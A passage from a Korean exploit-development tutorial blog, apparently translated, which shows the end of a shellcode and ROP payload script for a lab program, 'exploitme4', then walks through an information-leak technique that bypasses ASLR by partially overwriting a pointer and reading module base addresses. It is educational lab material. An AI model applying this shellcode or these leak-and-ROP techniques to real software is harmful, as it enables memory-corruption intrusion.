"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + "\x30\x03\xc6\xeb\xdd") name = 'a'*32 + readable + 'a'*8 + ret_eip + create_rop_chain() + shellcode f.write(name) write_file(r'c:\name.dat') | cs |
스크립트 실행 후에 exploitme4.exe를 실행 시키고 n 을 입력 했을 때, 정상적으로 동작했다면 계산기가 뜰 것 입니다. 해냈습니다!
정보 노출 익스플로잇
이제 kernel32.dll, ntdll.dll, 그리고 msvcr120.dll의 기본 주소를 모르고 exploitme4.exe을 이용하여 결정해야 한다고 가정해봅시다. (만약 exploitme4.exe를 원격 서비스와 같이 제공한다면 원격 PC에서도 공격이 가능합니다)
exploitme4의 코드에서 ptr은 name 배열의 시작을 가리키고 있습니다.
1 2 3 4 5 6 7 8 | class Name { char name[32]; int *ptr; public: Name() : ptr((int *)name) {} <snip> }; | cs |
우리는 VFTable을 가리키는 포인터를 읽고 싶지만 ptr 이 조작가능해서 어떤 부분이든 읽을 수 있어도 name 의 주소를 알 수가 없습니다. 이를 위해 부분적으로 덮어 씀으로써 해결 합니다. ptr의 최하단 바이트만 덮어 쓸 것입니다.
1 2 3 4 5 6 | def write_file(lsb): with open(r'c:\name.dat', 'wb') as f: name = 'a'*32 + chr(lsb) f.write(name) write_file(0x80) | cs |
ptr의 초기 값은 0xYYYYYYYY라 하면 ptr 을 덮어 쓴 뒤에는 0xYYYYYY80으로 됩니다. 이제 exploitme4.exe를 WinDbg없이 실행 시키면 다음과 같이 볼 수 있습니다.
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÇ°&!
0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x
6ca0a0d5]
Do you want to read the name again? [y/n]
보시다시피, ptr에서 가리키는 주소의 8 DWORDs 들을 볼 수 있습니다.
0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x6ca0a0d5
여기에는 “aaaa” (0x61616161)의 흔적이 보이지 않습니다. 우리는 버퍼 name에 넣었기 때문에 좀 더 검색을 해봅니다. 다시 0x60으로 시도해봅니다.
write_file(0x60)
name.dat을 갱신한 뒤에 exploitme4.exe 화면에서 ‘y’을 누르고 메모리 덤프를 확인합니다. exploitme4.exe는 한번에 0x20 씩 보여주기 때문에 ptr에서 0x20 씩 가감을 합니다. name.dat을 갱신한 뒤, 다시 ‘y’ 를 눌러 값들을 확인합니다.
write_file(0x40)
write_file(0x20)
write_file(0x00)
write_file(0xa0)
write_file(0xc0)
값 0xc0 에서 무엇인가를 찾았습니다.
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa└°&!
0x00000000 0x0026f8cc 0x011421a0 0x61616161 0x61616161 0x61616161 0x61616161 0x
61616161]
Do you want to read the name again? [y/n]
이를 통해 0x011421a0 이 VFTable임이 분명해 졌습니다. 이제 VFTable의 내용을 읽어 보도록 하겠습니다.
1 2 3 4 5 6 | def write_file(ptr): with open(r'c:\name.dat', 'wb') as f: name = 'a'*32 + struct.pack('<I', ptr) f.write(name) write_file(0x011421a0) | cs |
콘솔에서 다시 ‘y’ 를 누르면 다음 내용을 확인할 수 있습니다.
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaá!¶!
0x01141000 0x01141020 0x00000048 0x00000000 0x00000000 0x00000000 0x00000000 0x
00000000]
Do you want to read the name again? [y/n]
가상 함수인 0x01141000과 0x01141020의 2개 포인터가 있습니다. 첫 번째 RVA는 0x1000이기 때문에 exploitme4의 기본 주소는 다음과 같습니다.
0:000> ? 01141000 - 1000
Evaluate expression: 18087936 = 01140000
exploitme4.exe 의 IAT 를 이용할 시간입니다.
@exploitme4 + 00002000 kernel32 + 00014a25
@exploitme4 + 00002004 ntdll + 00039dd5
@exploitme4 + 00002024 msvcr120 + 000a4ced
exploitme4.exe의 기본 주소가 0x01140000 임을 찾았기 때문에 다음과 같이 작성할 수 있습니다.
@0x1142000 kernel32 + 00014a25
@0x1142004 ntdll + 00039dd5
@0x1142024 msvcr120 + 000a4ced
처음주소로 ptr을 덮어 써봅시다.
write_file(0x1142000)
프로그램 화면에서 다시 ‘y’를 누르면 다음과 같은 결과를 얻을 수 있습니다.
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
0x76334a25 0x770f9dd5 0x763334c9 0x76331420 0x763311f8 0x763316f1 0x7710107b 0x
763351fd]
Do you want to read the name again? [y/n]
여기서 0x76334a25와 0x770f9dd5 를 얻을 수 있습니다.
이제 마지막 한개가 더 필요합니다.
write_file(0x1142024)
다시 ‘y’를 누르면 다음과 같은 결과를 얻을 수 있습니다.
Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ ¶!
0x6ca94ced 0x6ca6bb8d 0x6ca1e25f 0x6ca1c7ce 0x6ca24293 0x6ca6bbb8 0x6ca24104 0x
6ca955eb]
Do you want to read the name again? [y/n]
마지막 값은 0x6ca94ced 입니다.
따라서 우리는 다음과 같은 결론을 내릴수 있습니다.
@0x1142000 kernel32 + 00014a25 = 0x76334a25
@0x1142004 ntdll + 00039dd5 = 0x770f9dd5
@0x1142024 msvcr120 + 000a4ced = 0x6ca94ced
kernel32 = 0x76334a25 - 0x00014a25 = 0x76320000
ntdll = 0x770f9dd5 - 0x00039dd5 = 0x770c0000
msvcr120 = 0x6ca94ced - 0x000a4ced = 0x6c9f0000
축하합니다! 우리는 방금 ASLR을 우회했습니다.
물론, 이 모든 과정이 원격에서 프로그램이 접근 가능해야 의미가 있고, 또한 실제 익스플로잇에는 자동화가 필요합니다. 여기서 저는 원리에 대해서만 보이려고 했기 때문에 다른 자세한 내용들에 대해서는 생략했습니다. 하지만 걱정하지마세요. 우리가 Internet Explorer 를 다룰 때 실제 익스플로잇에 대해 보게 될 것 입니다.
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 12. EMET 5.2 (0) | 2016.07.22 |
---|---|
[익스플로잇 개발] 11. Exploitme5 (힙 스프레잉 & UAF) (3) | 2016.07.22 |
[익스플로잇 개발] 09. Exploitme3 (DEP) (0) | 2016.07.19 |
[익스플로잇 개발] 08. Exploitme2 (스택 쿠키 & SEH) (0) | 2016.07.19 |
[익스플로잇 개발] 07. Exploitme1 ("ret eip" 덮어쓰기) (0) | 2016.07.19 |
- Total
- Today
- Yesterday
- IE 10 리버싱
- WinDbg
- 힙 스프레잉
- IE 10 God Mode
- IE 11 exploit
- IE 11 exploit development
- data mining
- CTF Write up
- 쉘 코드
- Mona 2
- shellcode
- IE 10 익스플로잇
- TenDollar
- UAF
- 2015 School CTF
- School CTF Write up
- TenDollar CTF
- Use after free
- expdev 번역
- IE UAF
- 쉘 코드 작성
- IE 11 UAF
- heap spraying
- shellcode writing
- School CTF Writeup
- 2014 SU CTF Write UP
- 윈도우즈 익스플로잇 개발
- Windows Exploit Development
- 데이터 마이닝
- IE 10 Exploit Development
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |